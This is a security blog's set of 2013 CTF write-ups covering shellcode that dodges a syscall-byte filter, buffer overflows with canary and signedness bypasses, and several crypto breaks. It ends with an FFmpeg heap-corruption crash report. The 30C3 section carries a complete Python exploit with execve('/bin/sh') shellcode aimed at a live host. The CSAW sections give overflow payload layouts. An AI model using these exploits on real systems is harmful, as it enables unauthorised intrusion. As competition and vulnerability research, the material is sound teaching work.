Vulnerabilities

Monday, December 30, 2013

30C3 CTF - Sandbox 300 - int80 [Team SegFault]

We were given a linux 64-bit ELF armed with PIE and NX. The executable performs the following operations

[*] Allocates 0x200 bytes of memory using memalign()
[*] Makes the area RWX with mprotect()
[*] Reads 0x1D8 of user data into the buffer using fread()
[*] Makes the area RX with mprotect()
[*] Calls the memory area with call rbx

Our aim is to execute shellcode in this buffer, since it has execute permission. But there are restrictions

[*] Some bytes are filtered - 0xCD, 0x80, 0x0F, 0x05, 0x34 before mprotect() is called. This means we cannot execute syscall, sysenter or int80
[*] Self mutating shellcode is not possible since write permission is removed
[*] The executable is PIE. So ROP is not very easy
[*] All the registers are cleared before user supplied input is executed

This is how the registers looked like when RIP points to user code
gdb-peda$ info registers 
rax            0x0 0x0
rbx            0x0 0x0
rcx            0x0 0x0
rdx            0x0 0x0
rsi            0x7ffff8201010 0x7ffff8201010
rdi            0x0 0x0
rbp            0x7fffffffe570 0x7fffffffe570
rsp            0x7fffffffe1c0 0x7fffffffe1c0
r8             0x0 0x0
r9             0x0 0x0
r10            0x0 0x0
r11            0x0 0x0
r12            0x0 0x0
r13            0x0 0x0
r14            0x0 0x0
r15            0x0 0x0
rip            0x7ffff8202028 0x7ffff8202028
eflags         0x10212 [ AF IF RF ]
cs             0x33 0x33
ss             0x2b 0x2b
ds             0x0 0x0
es             0x0 0x0
fs             0x0 0x0
gs             0x0 0x0
Except for RSI, RSP, RBP all registers are cleared. So we decided to find some valid pointers to libc functions near the address pointed by RSI or RSP. Lets check RSI
gdb-peda$ x/2gx $rsi
0x7f67b9d04010: 0x00007f6700000000 0x00007f67b81bbd88

gdb-peda$ vmmap 
Warning: not running or target is remote
Start              End                Perm Name
0x000008c0         0xffffffffff601000 rx-p /home/renorobert/Desktop/int80
0x00000238         0x00007f67b85e9000 r--p /home/renorobert/Desktop/int80
0x00201de0         0x00007fff2c58a000 rw-p /home/renorobert/Desktop/int80
At RSI+0x8 we have an address which can point into the GOT entry of the executable with a fixed offset.
gdb-peda$ p/x 0x00007f67b85e9000-0x00007f67b81bbd88
$2 = 0x42d278

gdb-peda$ x/16gx 0x00007f67b81bbd88+0x42d278
0x7f67b85e9000: 0x0000000000201df8 0x00007f67b83e62c8
0x7f67b85e9010: 0x00007f67b81d7200 0x00007f67b7e73ce0
0x7f67b85e9020 <fread@got.plt>:    0x00007f67b7e726f0 0x00007f67b7e24680
0x7f67b85e9030 <signal@got.plt>:   0x00007f67b83e7926 0x00007f67b83e7936
0x7f67b85e9040 <memalign@got.plt>: 0x00007f67b7e86a30 0x00007f67b7e85f40
0x7f67b85e9050 <fflush@got.plt>:   0x00007f67b7e71c90 0x00007f67b83e7976
0x7f67b85e9060 <mprotect@got.plt>: 0x00007f67b7ef30c0 0x00007f67b83e7996 
0x7f67b85e9070 <sysconf@got.plt>:  0x00007f67b7ec4580 0x00007f67b83e79b6
GOT entry of mprotect:
gdb-peda$ x/gx 0x00007f67b81bbd88+0x42d2d8
0x7f67b85e9060 <mprotect@got.plt>: 0x00007f67b7ef30c0

gdb-peda$ x/2i 0x00007f67b7ef30c0
   0x7f67b7ef30c0 <mprotect>: mov    eax,0xa
   0x7f67b7ef30c5 <mprotect+5>: syscall  # syscall gadget, our target
So the idea of payload is

[*] Read the address from [RSI+8]
[*] Compute the offset needed to make it point into the GOT entry of mprotect
[*] Read the GOT entry of mprotect()
[*] At mprotect()+5 resides a syscall gadget, use this to complete our shellcode

Shellcode:
mov rcx, [rsi+0x8]      # Read pointer
mov rcx, [rcx+0x42d2d8] # Our computed offset to mprotect GOT
lea rcx, [rcx + 0x4]
inc rcx                 # RCX holds the adddress of syscall gadget

mov rdi,0x0068732f6e69622f 
push   rdi
push   rsp
pop    rdi
push   rax
push   rdi
push   rsp
pop    rsi
cqo    
mov    al,0x3b          # execve("/bin/sh", ["/bin/sh", 0], 0)

call rcx                # syscall
The remote offset was little different from the local value we computed. But we got this right with a small bruteforce. Below is the final exploit
#!/usr/bin/env python

import socket
import struct
import time

ip = '88.198.89.210'
#ip = '127.0.0.1'
port = 1024

#local_offset = 0x42d2d8
remote_offset = 0x42d2b8 

shellcode = ( "\x48\x8b\x4e\x08" +
              "\x48\x8b\x89" + struct.pack("<I", remote_offset) +
              "\x48\x8d\x49\x04" +
              "\x48\xff\xc1" +
              "\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x00" +
              "\x57" +
              "\x54" +
              "\x5f" +
              "\x50" +
              "\x57" +
              "\x54" +
              "\x5e" +
              "\x48\x99" +
              "\xb0\x3b" +
              "\xff\xd1" )

shellcode = shellcode + "A" * (0x1d8-len(shellcode)) # padding

soc = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
soc.connect((ip, port))
soc.recv(128)
time.sleep(0.5)

soc.send(shellcode + "\n")
time.sleep(0.5)
soc.send("cat /home/user/flag\n")
         
print soc.recv(1024)
Flag for the challenge is 30C3_73c2424a3fa0e4e156aa695cf1656cf2

Tuesday, November 19, 2013

CSCAMP CTF Quals 2013 - Crypto 400 - [Team SegFault]

We were given two files for the challenge - public key and encrypted message. Reading the public key with openssl we got
[ctf@renorobert 400]$ openssl rsa -in public.pem -pubin -text -noout 
Public-Key: (768 bit)
Modulus:
    00:ca:d9:84:55:7c:97:e0:39:43:1a:22:6a:d7:27:
    f0:c6:d4:3e:f3:d4:18:46:9f:1b:37:50:49:b2:29:
    84:3e:e9:f8:3b:1f:97:73:8a:c2:74:f5:f6:1f:40:
    1f:21:f1:91:3e:4b:64:bb:31:b5:5a:38:d3:98:c0:
    df:ed:00:b1:39:2f:08:89:71:1c:44:b3:59:e7:97:
    6c:61:7f:cc:73:4f:06:e3:e9:5c:26:47:60:91:b5:
    2f:46:2e:79:41:3d:b5
Exponent: 65537 (0x10001)
[ctf@renorobert 400]$ openssl rsa -in public.pem -pubin -text -noout | grep '^ ' | tr -dc '[0-9a-f]'
00cad984557c97e039431a226ad727f0c6d43ef3d418469f1b375049b229843ee9f83b1f97738ac274f5f61f401f21f1913e4b64bb31b55a38d398c0dfed00b1392f0889711c44b359e7976c617fcc734f06e3e95c26476091b52f462e79413db5
Its a RSA-768 and the N value is already factorized. Factors are available publicly
p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
Generate private key for p and q values and decrypt the file
sage: p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
sage: q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
sage: phi_n = (p-1) * (q-1)
sage: e = 65537
sage: d = inverse_mod(e, phi_n)
sage: d
703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553
>>> from Crypto.PublicKey import RSA
>>> keypair = RSA.generate(1024)
>>> keypair.n = 1230186684530117755130494958384962720772853569595334792197322452151726400507263657518745202199786469389956474942774063845925192557326303453731548268507917026122142913461670429214311602221240479274737794080665351419597459856902143413
>>> keypair.e = 65537
>>> keypair.d = 703813872109751212728960868893055483396831478279095442779477323396386489876250832944220079595968592852532432488202250497425262918616760886811596907743384527001944888359578241816763079495533278518938372814827410628647251148091159553
>>> keypair.p = 33478071698956898786044169848212690817704794983713768568912431388982883793878002287614711652531743087737814467999489
>>> keypair.q = 36746043666799590428244633799627952632279158164343087642676032283815739666511279233373417143396810270092798736308917
>>> private = open('private.pem', 'w')
>>> private.write(keypair.exportKey())
>>> private.close()
[ctf@renorobert 400]$ openssl rsautl -decrypt -in message.enc -out /dev/tty -inkey private.pem
F4ct0r!zaTi0N
Flag for the challenge is F4ct0r!zaTi0N

CSCAMP CTF Quals 2013 - Crypto 300 - [Team SegFault]

We were given about 12 encrypted messages and the challenge description said Many Time Pad and 12th message holds the flag. Below is the encryption algorithm
import os

key = os.urandom(1024)
messages = [message.rstrip('\n') for message in open("messages")]

def xor_string(x, y):

    if len(x) > len(y):
        return ''.join([chr(ord(z) ^ ord(p)) for (z, p) in zip(x[:len(y)], y)])
    else:
        return ''.join([chr(ord(z) ^ ord(p)) for (z, p) in zip(x, y[:len(x)])])

print key.encode('hex')

for i in range(0, len(messages)):
    print "Message #{0}: {1}".format(i, xor_string(key, messages[i]).encode('hex'))
The messages are encrypted by XOR encryption using randomly chosen key whose length is equal to length of plain text. To decrypt the flag message we decided to bruteforce the key. Below is the idea:

[*] Bruteforce key in range of 0 to 0xff for each byte of 12 cipher texts
[*] See if the chosen key is able to decrypt a byte of cipher text to a printable character in charset [space, 0-9, A-Z, a-z] for all 12 given cipher texts
[*] Such a chosen key is a possible candidate to be final key

The above method created some collisions but was good enough to retrieve the flag. Below is the code
#!/usr/bin/env python
# cry300.py

ciphers = ['2838febbef072500b57a8e41119b051ad0174127b3f11208bd094d092bb9b6edfe0b655377a1dd6ccb5870d3ae250d91b9d097b5d13b569545c9fd0f3940195356d89ed9a99140b44fca2e5dffe40f37f07a',
'3a39badcc70c6143b47e981500974057dd100626a9f10e09af5d021731b9a8e1ec4c671c71abdd79cd5970fdac204a90f0c998f1f33012c14edeb802244215071edbccdeaddc14b14b862f1cece10572e56c80fb267a0a0b93e0458fdc3059c95ba33af02189', '2b23eebbdf0d6141b47ed9121081051ac816473be7a50e05fc17180438f4a4e2f90b6d5a38829269855523b4a0224e9aa2c297bfd37f028e0dd8af16244f514611df85d8b7c514a8428f271cfae70831eb298ef52772431cc1f65198d1740dc957ed29eb',
'2838febbef072500a57a950d0097404ed41b062bb5a8460cbd1309401af8b3f8e50b63527ce58965c01c37f5b5294887b9c899f1c030118459c4b8117048170702d68996b3d040b958996a5fece30d37e72985ff6a4c4f0992a54595dd743ece5aa33df933c489caa16c8290717a85d2d470f6a6529d', '2f39e8bbdc002452a33b9012459d0f1ace1b553fa2b21240b31b4d103aebb2e3e358224b71b1952de25334', '213fe9bbc00d2044e67a9705459b09499c164726b5a24617b90f084028f1a8f8e80b6e5573a0dd7aca533cb4a0320d82b8cf8ab4943e05c15ec2b21470461f4356d685c5e4d44db959ca3d59ffea4133f0298cba2c734b0584a54b9d993210d35b', '2838febbdc002400a36d9c0f0c9d071add10426fb3b90340b1121f0e36f7a6acfa4e705938b19568855a39f2b5290d91b1df', '2533eebbce092d4ce67a95120ad31355d11b0620a1f11208b95d050131fda7f9e15822537ee58d78d74c3fe7a4614b9aa28696b4c67f178f498cb1063151140702d689dbe4c55cbd5eca3954e8af0c33fa298af62f7e444895ed4196993517c51ef12bfa318f9882a87dd0d96b3586', '3d3effbbe4271364e6739c001797404ed41b0639a8b80505fc120b4026f6b4fead5c6d4e7cb6dd6ccb5870e3a0320d82a2c98ab9943e18850ddfaa022242515417c785d8a3', '3d3effbbe4271364e662961417d32755d85e5127aeb20e40bb1208137ffba4eae259671c61aa882dcd5970e7a9204199f0c097b6dc2b568742defd1a3f52514615dd83c4a0d85abb0a9e251cece30d72f7618cee6a774f4885ec40dbdf3b0b8147ec3bb82d8adde7a761d28d253897d5c822f4e94496af2235eb4bab26',
'2b23eebbc91b6146a969d9180a86404ec90c486fbebe1340bd1309402bf8aae9ad526d496ae59762d04e3ef1b861449ba4c9dea5dc3a569644c0b90622491454059e8ecfe4c55cb90a9d2b45ade00772f76188ba187a4e4892e045', '2437e3f9cd48384fb3718c1211950f4fd21a4b2ea9a80d05a50e4d092cb9b5e4e80b63526bb2987f85453fe1e1324890bb']

# possible charset space, 0-9, A-Z, a-z
charset = [32] + range(48, 58) + range(65, 91) + range(97, 123)
poss = []
exception = False

# for all characters in cipher text of flag message
for i in range(len(ciphers[11].decode('hex'))): 
    sol = []
    for key in range(256):   # for all possible keys
        pad_size = 0
        for cipher in range(len(ciphers)): # for each cipher text
            try:
                byte = ord(ciphers[cipher].decode('hex')[i])
            except IndexError:
                exception = True
                continue
            if (byte ^ key) in charset:  # check if a key can decrypt to printable text
                pad_size += 1
                if not exception:
                    if pad_size == len(ciphers):
                        sol.append(chr(byte ^ key))
                else:
                    if pad_size == len(ciphers) - 1:
                        sol.append(chr(byte ^ key))
    poss.append(sol)
print poss
[ctf@renorobert CSCAMP]$ python cry300.py
[['m', 'n', 'h', 'i', 'j', 'M', 'N', 'H', 'I', 'J'], ['g', 'f', 'e', 'c', 'b', 'a', 'm', 'l', 'G', 'F', 'E', 'C', 'B', 'A', 'M', 'L'], ['i', 'h', 'o', 'n', 'l', 'y'], ['q', 'p', 's', 'r', 'u', 't', 'w', 'v', 'b'], ['H', 'K', 'E', 'G', 'F', 'A', 'h', 'k', 'e', 'g', 'f', 'a'], [' '], ['y', 'l', 'm', 'o'], ['o', 'z', 'y'], ['u', 'c', 'b'], ['z', 'j'], ['u'], ['s', 'e'], ['t'], ['f'], ['o'], ['m', 'l', 'b', 'u'], ['n'], ['d'], ['m', 'y'], ['a'], ['n'], ['y'], ['k', 'y', 'z'], ['e'], ['l', 'n', 'y'], ['s'], [' '], ['i'], ['s'], [' '], ['u', 't', 'w', 'v', 'p', 'e', 'k', 'U', 'T', 'W', 'V', 'P', 'E', 'K'], ['h'], ['e'], [' ', '1', '0', '6', '5', '4'], ['a', 'w', 't'], ['n'], ['s'], ['w', 'a'], ['e'], ['r'], [' '], ['y'], ['o'], ['e', 'd', 'u'], [' '], ['s', 'b', 'c', 'a'], ['e'], ['S', 'X', 'Y', 'B', 'C', 'D', 'E', 'F', 'G', 's', 'x', 'y', 'b', 'c', 'd', 'e', 'f', 'g'], ['z', 's', 'r', 'k']]
Some characters decrypted without collisions, rest of the characters were guessed as youjustfoundmanykeys is the answer you seek. Flag for the challenge is youjustfoundmanykeys

Tuesday, October 29, 2013

EMC Defenders League - Round 3 - ElGamal Cryptosystem

A ruby script was given, looking at the code its easily identified as ElGamal cryptosystem
def encrypt(plaintext)
  begin
    p,g = File.read("public.key").split.map(&:to_i)   # prime p and generator g
    x = File.read("secret.key").downcase.unpack("H*").first.to_i
  rescue
    raise "Could not read the keys."
  end
  y = mod_pow(g,x,p)     
  msg = plaintext.unpack("H*").first.to_i(16)  
  enc = []
  while msg!=0 do
    k = rand(2**512)
    while k.gcd(p-1)!=1
      k = rand(2**512)     # ephimeral key
    end
    msg , m = msg.divmod(p)    # quotient , remainder
    a = mod_pow(g,k,p)     # cipher_one

    b = (m * mod_pow(y,k,p)) % p   # cipher_two
    enc.push([p,g,y,a,b])
  end
  return enc
end
Also a directory listing was given, which read
-rw------- 1 user1 user1    9 Sep 12 16:59 secret.key
So, it looks like the private key is a small number. From the code y = g^x mod p , where y,g and p are public. I wrote a GMP C code to brute the value of x. Now its the matter of decrypting the value of cipher text from the given file
#!/usr/bin/env sage -python

from sage.all import *

a = [10264935714840344555659480530391531504799751837786398398316078563294217410270167702155077526394934157060210816906645541211888193204711479484170362078382934, 6823073135499190154483378335285592356188617899094830851286814357379354454127003397049290347022567266459967665409741524356428389256663366725696511671610252, 6799828613544592377533880394625646977560051635952644078042208063362163512223938553938795141149658062454075205535854660371542763834499519406362703514503332, 672505970984355266693231966226618520516336889495074224541849620341452271159684475161636332714848734553160854293600007936085992661979551831016772987917068]
b = [10340609465224600321180300969872222181794348193568386018372923576739867282485924452563065089417849300140351755230325685204557146183945278941161645372102509, 5281134801218769020778720412885415834550804855232111764210295764635532757913976877308711845460529040416820894758873972605710392788924240448443272640451982, 457101717286387383800532326852190913868486287682428841339947697619176026876915473073415513803021227080851888197491621726415573291680046893149593865864624, 589149635285693973671288870900610302399060697179753365215668035230635162797171706009867229016045306799390816419364037357020145534760948533979498925094150]
mod = 11994453392181474037639262741550096843127850786293620241343626519409002514576698974663696483571708872339453054238999399420344927969237949604807335692536203

private = 77656
dec = []
for i in range(4):
    dec.append( (b[i] * inverse_mod(a[i]^private, mod)) % mod)

q = 0
for i in range(3, -1, -1):
    msg = (q * mod + dec[i])
    q = msg

dec = hex(q)[2:]
dec = dec[:len(dec)-1].decode('hex')
print dec
Yourt passwordh muste be ats leaste 18770c charactersr ande cannott repeat anyc ofo yourd previouse 30689 passwords.i Pleases type ag differenty password.8 Type4 ai password7 thatf meetso thesev requirements1 int boths textw boxes..
Collect the last character of each word to retrieve message.

EMC Defenders League - Round 2 - Hill Cipher Known Plain Text Attack

Couple of cipher text and password for first cipher text was given. Our aim was to decrypt the second message to find the flag for the challenge. First, lets decrypt the cipher text for which we have the key.
Cipher Text:
-6N.AAH79T2N3Z?M2XMW9O6261HOVPC,VIRA1RNOOO,9QZHGXDPDGD5CHPIQ369Z0 Z.0A2QKE57ISF,IRZUPDZS6R5UWM9IECDDQPMUN337X331G8D,23QLW8QT4XP76YAS 4SKJTRJJ3A TIAQPHQPL9UU1YHSWU9V2

Key:
JACKNJ1LL

Charset:
_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.?,-

Plain Text:
DEAR_AGENT_ALICE,_OUR_FRIEND_AGENT_CARLOS_GOT_CAUGHT_SO_OUR_KEY_AND_CODEWORD_MAY_HAVE_BEEN_COMPROMISED._PLEASE_CHANGE_THE_KEY_AND_SEND_THE_NEW_CODEWORD_-_AGENT_BOB__
The key given was 9 chars long, so the key matrix should be 3x3. The length of first cipher text is 165 bytes, so it must be a 3x55 matrix. Ok, we need more details. Lets try and interpret few information from the decrypted plain text. If message format is the same, the header of 2nd cipher text must be from plain text mentioned below[ALICE --> BOB]
DEAR_AGENT_BOB,_ # 16 bytes
Also, the footer must be something similar to
_-_AGENT_BOB__  # 16 bytes
Cipher text two:
7BQE,IZ0ZILXX0B8FJKZGYAM35F7LG.6W8AIBNEBNZS2VSZYEG0QF0PJC LY0FFVU7K028DHW2GWE 9DQG.MEDOUC?AAWR,ZQF9X,VK9JKQTUMF5OW2ZFERF # 120 bytes
With the above information, we must be able to partially recover the key. If the key is 3x3 matrix, the plain text must be represented as 3x40 matrix for encryption
cipher_matrix = 
[34, 2, 17, 5, 39, 9, 26, 27, 26, 9, 12, 24, 24, 27, 2, 35, 6, 10, 11, 26, 7, 25, 1, 13, 30, 32, 6, 34, 12, 7, 37, 33, 23, 35, 1, 9, 2, 14, 5, 2, 14, 26, 19, 29, 22, 19, 26, 25, 5, 7, 27, 17, 6, 27, 16, 10, 3, 0, 12, 25, 27, 6, 6, 22, 21, 34, 11, 27, 29, 35, 4, 8, 23, 29, 7, 23, 5, 0, 36, 4, 17, 7, 37, 13, 5, 4, 15, 21, 3, 38, 1, 1, 23, 18, 39, 26, 17, 6, 36, 24, 39, 22, 11, 36, 10, 11, 17, 20, 21, 13, 6, 32, 15, 23, 29, 26, 6, 5, 18, 6]

Prologue of plain text:
[4, 5, 1, 18, 0, 1, 7, 5, 14, 20, 0, 2, 15, 2, 39, 0]

Epilogue of plain text:
[0, 40, 0, 1, 7, 5, 14, 20, 0, 1, 12, 9, 3, 5, 0, 0]
With the know plain text in row 1 and row 3, lets solve a set of linear equations to find the partial key inverse(key[3x3]) * cipher[3x40] == plain[3x40]
Linear equations for 1st row of inverse key matrix
sage:  var('a,b,c')
(a, b, c)
sage: solve_mod([34*a+14*b+17*c == 4, 2*a+26*b+7*c == 5, 17*a+19*b+37*c == 1], 41)
[(18, 5, 18)]
Solving a set of set of linear equations for row 3
sage:  var('g,h,i')
solve_mod([2*g+4*h+6*i == 0, 5*g+36*h+18*i == 5, 14*g+0*h+5*i == 3], 41)
[(6, 9, 33)]
So the row 1 and row 3 of inverse key matrix is recovered
[(18, 5, 18),
 (x , y, z ),
 (6 , 9, 33)] 
With this key, we can recover the plain text from row 1 and row 3
cipher = matrix([[34, 2, 17, 5, 39, 9, 26, 27, 26, 9, 12, 24, 24, 27, 2, 35, 6, 10, 11, 26, 7, 25, 1, 13, 30, 32, 6, 34, 12, 7, 37, 33, 23, 35, 1, 9, 2, 14, 5, 2], [14, 26, 19, 29, 22, 19, 26, 25, 5, 7, 27, 17, 6, 27, 16, 10, 3, 0, 12, 25, 27, 6, 6, 22, 21, 34, 11, 27, 29, 35, 4, 8, 23, 29, 7, 23, 5, 0, 36, 4], [17, 7, 37, 13, 5, 4, 15, 21, 3, 38, 1, 1, 23, 18, 39, 26, 17, 6, 36, 24, 39, 22, 11, 36, 10, 11, 17, 20, 21, 13, 6, 32, 15, 23, 29, 26, 6, 5, 18, 6]])

key = matrix([[18, 5, 18],[0, 0, 0], [6 , 9, 33]])

plain = (key*cipher)%41
[ 4  5  1 18  0  1  7  5 14 20  0  2 15  2 39  0 19  1  4  0 20 15  0  8  5  1 18  0  1  2 15 21 20  0  1  7  5 14 20  0]
[ 0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0  0]
[30 26 18 23 23 29 24 14 13 18 20  2 14 15  8 10  9 12  9 25 14 28 13 29  2  0 40  0  1  7  5 14 20  0  1 12  9  3  5  0]
Convert this to plain text we get:
charset = "_ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789.?,-"

text = ''
for i in plain:
    for char in i:
        text += charset[char]
print text
DEAR_AGENT_BOB,_SAD_TO_HEAR_ABOUT_AGENT_________________________________________3ZRWW2XNMRTBNOHJILIYN1M2B_-_AGENT_ALICE_
We have the partial plain text recovered. Now we have to recover row 2. Looking at the plain text one and partial plain text two, I could predict that the plain text could be
DEAR_AGENT_BOB,_SAD_TO_HEAR_ABOUT_AGENT_CARLOS  # CARLOS can be predicted
Now solve the linear equations for row 2
sage: var('d,e,f')
(d, e, f)
solve_mod([34*d+14*e+17*f == 3, 2*d+26*e+7*f == 1, 17*d+19*e+37*f == 18], 41)
[(28, 39, 23)]
So, the recovered inverse of key matrix is
[(18, 5, 18),
 (28, 39, 23),
 (6 , 9, 33)] 
Final message is DEAR_AGENT_BOB,_SAD_TO_HEAR_ABOUT_AGENT_CARLOS._HERE_IS_THE_NEW_CODEWORD_PYYTO4V3ZRWW2XNMRTBNOHJILIYN1M2B_-_AGENT_ALICE_

Tuesday, September 24, 2013

CSAW CTF 2013 Quals - Exploitation 200 | 300 | 400 - [Team SegFault]

Exploitation 200

A Linux ELF 32-bit LSB executable is given without NX. On connecting to the service running on port 31338
[*] We get 4 bytes of data which is the address of buffer used for recv() function and next 4 bytes is the return value of rand()
[*] The return value from rand() is used as a canary check
.text:0804884B    call    _rand
.text:08048850    mov     ds:secret, eax
.text:08048855    mov     eax, ds:secret
.text:0804885A    mov     [ebp+var_C], eax     ; canary

.text:080488D5    mov     dword ptr [esp+0Ch], 0   ; flags
.text:080488DD    mov     dword ptr [esp+8], 1000h ; n
.text:080488E5    lea     eax, [ebp+buf]
.text:080488EB    mov     [esp+4], eax    ; buf
.text:080488EF    mov     eax, [ebp+fd]
.text:080488F2    mov     [esp], eax      ; fd
.text:080488F5    call    _recv    ; recv() overflows buffer

.text:080488FA    mov     [ebp+var_D], 0
.text:080488FE    mov     edx, [ebp+var_C]
.text:08048901    mov     eax, ds:secret
.text:08048906    cmp     edx, eax   ; canary check
Idea of exploit:
[*] 2068 bytes overwrites saved EIP
[*] 2052 bytes overwrites the canary
[*] Use the buffer address received to overwrite saved EIP and received rand() value to overwrite canary
payload = shellcode[80 bytes] + ("A" * 1960) + rand + (buf_addr * 4)
Flag: 53666e040caa855a9b27194c82a26366

Exploitation 300

On connecting to the application it asks for username and password. Provide the harcoded values csaw2013 and S1mplePWD as username and password respectively. Then it asks for Entry Info. Input given here is converted to integer using atoi() and checked if <= 0x400. If <= 0x400, recv() is called with size parameter taken from Entry Info
There is a integer signedness bug leading to buffer overflow. This is what the disassembly looks like
; atoi call
.text:08048EAD    lea     eax, [ebp+buf]
.text:08048EB0    mov     [esp], eax      ; nptr
.text:08048EB3    call    _atoi
.text:08048EB8    mov     [ebp+var_E], ax ; truncation to 16 bits

.text:08048F09    mov     eax, [ebp+arg_4]  
.text:08048F0C    mov     [ebp+var_4AC], ax  ; truncation
.text:08048F13    mov     [ebp+var_C], 0
.text:08048F1A    mov     [ebp+stream], 0
.text:08048F21    movsx   eax, [ebp+var_4AC] ; integer promotion/sign extension

.text:08048F28    mov     [ebp+n], eax
.text:08048F2B    mov     eax, [ebp+n]
.text:08048F2E    add     eax, 1         ; add 1
.text:08048F31    cmp     eax, 400h        ; comparison

.text:08048F5B    mov     eax, [ebp+fd]
.text:08048F5E    mov     dword ptr [esp+0Ch], 0 ; flags
.text:08048F66    mov     edx, [ebp+n]
.text:08048F69    mov     [esp+8], edx    ; n    ; treated as unsigned
.text:08048F6D    lea     edx, [ebp+buf]
.text:08048F73    mov     [esp+4], edx    ; buf
.text:08048F77    mov     [esp], eax      ; fd
.text:08048F7A    call    _recv
So what happens here is
[*] Return value of atoi() is truncated to 16 bits ie. max value can be 0xffff
[*] Sign extension of 0xffff is 0xffffffff ie -1
[*] At 0x08048F31 the check is passed as (-1+1 == 0) <= 0x400
[*] When -1 is used as size parameter in recv() function, it is treated as unsigned int and becomes a huge value leading to buffer overflow

Bypass length check:
[*] soc.send(str(int(0xffff))) will bypass check for 1024 bytes allowing us to overwrite saved EIP

Finding return value with info leak using send()
[*] 1060 bytes overwrites saved EIP
[*] ret-into-ret till a good stack setup is reached like [ret | ret | .. | ret | send@plt | 0xdeadbeef | sockfd 0x4 | valid address in stack | some size parameter |
[*] This will dump data from stack. Using the address found in stack, one can find the location of payload

Final payload looks like this
soc.send("A"*1056 + ret_addr[From leaked stack address - offset] + NOP *100 + shellcode)
Flag: signness_oh_what_a_world_we_live_in

Exploitation 400

Challenge file is a 32-bit statically linked ELF executable. Input of 1024 bytes is taken using read() function resulting EIP overwrite. This was the state of program during crash.
   0x8048f3d: mov    ecx,DWORD PTR ds:0x80f0669
   0x8048f43: mov    edx,0x80f04d5
   0x8048f48: lea    edx,[edx+ecx*4]
=> 0x8048f4b: mov    eax,DWORD PTR [edx]
   0x8048f4d: mov    DWORD PTR [esp],eax
   0x8048f50: ret

EAX: 0x80f0340 ('A' <repeats 200 times>...)
EBX: 0x0 
ECX: 0x41414140 ('@AAA')
EDX: 0xd1409d5 
ESI: 0x0 
EDI: 0x8049770 (push   ebx)
EBP: 0x41414141 ('AAAA')
ESP: 0x80f0444 ('A' <repeats 200 times>...)
EIP: 0x8048f4b (mov    eax,DWORD PTR [edx])
To reach 0x8048f50 without any invalid memory access, we have to overwrite certain areas of memory with valid address. The idea was to load ECX with NULL and EDX with address of .bss so that mov eax,DWORD PTR [edx] doesn't sigsegv. The address where user input is copied, is not randomized, so can be directly used as return address.
Final payload is:
soc.send(NOP*375 + shellcode[26 bytes] + struct.pack("<I",0x080f0450)[ret address] + struct.pack("<I", 0x080f12a0)[.bss address] * 100 + struct.pack("B", 0x00) * 50)
Flag: And_all_I_got_was_this_stupid_key

Tuesday, September 17, 2013

A FFmpeg 0.11.3 Memory Corruption Bug

I was fuzzing a bit during my free time last month. Mplayer produced an interesting crash due to invalid memory access when tested with a fuzzed m2ts file. This is what the crash looked like
=> 0x528da4 <put_image+68>: call   QWORD PTR [rax+0x18]
RAX: 0x4444444444444444 ('DDDDDDDD')
So a crash was noticed at a call instruction and RAX can be user controlled by modifying the file. Here is the backtrace
if(video_out->control(VOCTRL_DRAW_IMAGE,mpi)==VO_TRUE) return 1; 
gdb-peda$ bt
#0  0x0000000000528da4 in put_image (vf=0x17e82b0, mpi=0x1dc4af0, pts=604.16666666666663) at libmpcodecs/vf_vo.c:168
#1  0x00000000004f97eb in filter_video (sh_video=<optimized out>, frame=0x1dc4af0, pts=<optimized out>) at libmpcodecs/dec_video.c:479
#2  0x000000000048ba80 in update_video (blit_frame=0x7fffffffe0e8) at mplayer.c:2487
#3  0x000000000048ff78 in main (argc=<optimized out>, argv=) at mplayer.c:3765
#4  0x00000038b7a1ec5d in __libc_start_main () from /lib64/libc.so.6
#5  0x0000000000482185 in _start ()
A function pointer at an offset 0x18 in structure vo_functions_s is being accessed in put_image function. Since video_out pointer to the structure itself is overwritten with contents from file, we can dereference arbitrary memory location by controlling RAX and call any address. The bug was reported to Mplayer along with PoC and later analysis showed its an issue with FFmpeg. This is what valgrind trace looked like
==4641== Invalid write of size 8
==4641==    at 0xA08407: put_h264_qpel16_mc00_sse2 (dsputil_mmx.c:464)
==4641==    by 0x7C65C6: hl_decode_mb_444_simple (h264.c:532)
==4641==    by 0x81551F: ff_h264_hl_decode_mb (h264.c:2445)
==4641==    by 0xA69AFA: ff_er_frame_end (error_resilience.c:710)
==4641==    by 0x7ACDD7: field_end (h264.c:2787)
==4641==    by 0x835CA9: decode_frame (h264.c:4596)
==4641==    by 0x986B7D: avcodec_decode_video2 (utils.c:1464)
==4641==    by 0x5BC9F8: decode (vd_ffmpeg.c:799)
==4641==    by 0x4F9894: decode_video (dec_video.c:393)
==4641==    by 0x48B803: update_video (mplayer.c:2463)
==4641==    by 0x48FF77: main (mplayer.c:3765)
==4641==  Address 0xc8c7430 is 0 bytes after a block of size 523,344 allocd
==4641==    at 0x4A072B5: memalign (vg_replace_malloc.c:727)
==4641==    by 0x4A0737A: posix_memalign (vg_replace_malloc.c:876)
==4641==    by 0xAF200C: av_malloc (mem.c:95)
==4641==    by 0xAF20A5: av_mallocz (mem.c:187)
==4641==    by 0x8DE53B: ff_alloc_picture (mpegvideo.c:341)
==4641==    by 0x8DEE84: ff_MPV_frame_start (mpegvideo.c:1193)
==4641==    by 0x7AD21F: ff_h264_frame_start (h264.c:1430)
==4641==    by 0x7AE4C0: decode_slice_header (h264.c:3320)
==4641==    by 0x834F82: decode_nal_units (h264.c:4330)
==4641==    by 0x835C6D: decode_frame (h264.c:4574)
==4641==    by 0x986B7D: avcodec_decode_video2 (utils.c:1464)
==4641==    by 0x5BC9F8: decode (vd_ffmpeg.c:799)
There was out of bound read/write in H.264 code of FFmpeg leading to heap corruption.

